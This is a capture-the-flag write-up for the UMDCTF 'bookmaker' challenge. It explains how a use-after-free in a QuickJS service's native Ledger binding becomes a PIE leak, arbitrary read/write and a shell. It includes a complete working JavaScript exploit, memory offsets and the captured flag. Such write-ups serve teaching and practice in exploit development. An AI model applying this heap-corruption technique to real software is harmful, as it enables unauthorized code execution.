bookmaker
umdctf
Task: a stripped PIE QuickJS service executes attacker-supplied JavaScript with native Ledger and Wire bindings, including a recycled Ledger whose stale ArrayBuffer alias remains valid. Solution: overlap freed Ledger storage with a new ArrayBuffer, corrupt its metadata to leak PIE and gain arbitrary read/write, overwrite the global settle callback with win, then trigger settle() to spawn a shell and read the flag.
$ ls tags/ techniques/
bookmaker — UMDCTF
Description
No separate organizer description was present in the provided workspace files.
English summary: the service accepts JavaScript and executes it inside an embedded QuickJS environment until the terminator token __END_MARKET_SCRIPT__. Several native bindings are exposed to script code, and one of them makes it possible to turn a heap use-after-free into code execution.
Reconnaissance
Initial triage showed an amd64 PIE ELF with:
- Full RELRO
- NX
- no stack canary
- stripped symbols
The binary also embeds QuickJS and exposes the following JavaScript bindings:
LedgerWiremintWirewireReadwireWritewireDispatchpoke64printhelpsettle
The remote service reads JavaScript source until __END_MARKET_SCRIPT__, then executes it. That immediately suggests looking for mistakes in the native objects that are wrapped into JavaScript values, especially anything returning ArrayBuffer views into native memory.
Ledger was the interesting object. Its view() method returns an ArrayBuffer alias to native backing storage, and recycle() frees that storage. That combination is already suspicious: if the engine keeps the old JavaScript object alive after the native free, the script may still access freed heap memory.
Vulnerability
The core bug is a use-after-free in Ledger backing storage.
The vulnerable pattern is:
- Create a
Ledger. - Call
ledger.view()to get anArrayBufferpointing at the Ledger's native bytes. - Call
ledger.recycle(). - Continue using the old
ArrayBuffer.
The stale ArrayBuffer remains accessible even though the native allocation has already been freed.
For a Ledger(0x30), the freed chunk can be immediately reclaimed with new ArrayBuffer(8). That places a new QuickJS-managed ArrayBuffer object over the old Ledger backing region. A typed array over the stale view then exposes the overlapped metadata:
q[0]controls the victimArrayBuffer'sbyteLengthq[1]controls the victimArrayBuffer's data pointerq[5]leaks a code pointer atbase + 0xd490
So the UAF becomes a very strong primitive:
- leak PIE from
q[5] - enlarge the overlapped
ArrayBufferby writingq[0] = 0x100n - redirect the victim buffer anywhere in memory by changing
q[1]
At that point, the bug is no longer just an info leak. It is effectively arbitrary read/write through a corrupted ArrayBuffer.
Exploitation
The clean exploit path is to overwrite the global callback used by settle().
Relevant offsets from the PIE base were:
- global message pointer:
base + 0xcc100 - global settle callback pointer:
base + 0xcc108 - win callback:
base + 0xb3c0 - leaked trampoline/code pointer:
base + 0xd490
Instead of trying to jump through the leaked trampoline directly, the exploit uses the leak only to recover the PIE base:
base = q[5] - 0xd490n
Then it retargets the corrupted victim ArrayBuffer at base + 0xcc108, the global settle callback pointer. Writing base + 0xb3c0 there replaces the normal callback with the hidden win callback. After that, calling:
settle("owned")
prints:
market resolved YES: owned
and the win callback executes system("/bin/sh").
With shell access, reading /app/flag.txt yields the flag. The process later crashes with free(): invalid pointer, but only after code execution and flag exfiltration, so the exploit is still fully reliable for the challenge goal.
Final JavaScript exploit
let l = new Ledger(0x30) let v = l.view() l.recycle() let x = new ArrayBuffer(8) let q = new BigUint64Array(v) q[0] = 0x100n let base = q[5] - 0xd490n let settleCb = base + 0xcc108n let winCb = base + 0xb3c0n q[1] = settleCb new DataView(x).setBigUint64(0, winCb, true) settle("owned")
Exploit flow
- Allocate
Ledger(0x30)and get a staleArrayBufferalias withview(). - Free the backing store with
recycle(). - Reclaim the freed chunk with
new ArrayBuffer(8). - Use
BigUint64Array(v)over the stale bytes to corrupt the newArrayBuffermetadata. - Set
q[0] = 0x100nto expand the victim buffer. - Leak PIE with
q[5]and computebase. - Set
q[1] = base + 0xcc108so the victim buffer points at the global settle callback pointer. - Write
base + 0xb3c0through the overlapped buffer. - Call
settle("owned"). - Use the spawned shell to read
/app/flag.txt.
Remote exploitation confirmed the expected success message followed by the flag, and only then the cleanup crash:
market resolved YES: owned UMDCTF{tahmid-will-surely-finish_his_challenge_on_time!!} free(): invalid pointer
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]velvet-table— umdctf
- [pwn][Pro]Secrets— grodno_new_year_2026
- [pwn][free]vkexchange— umdctf
- [pwn][free]Void— hackthebox
- [pwn][Pro]Easy ROP— hackerlab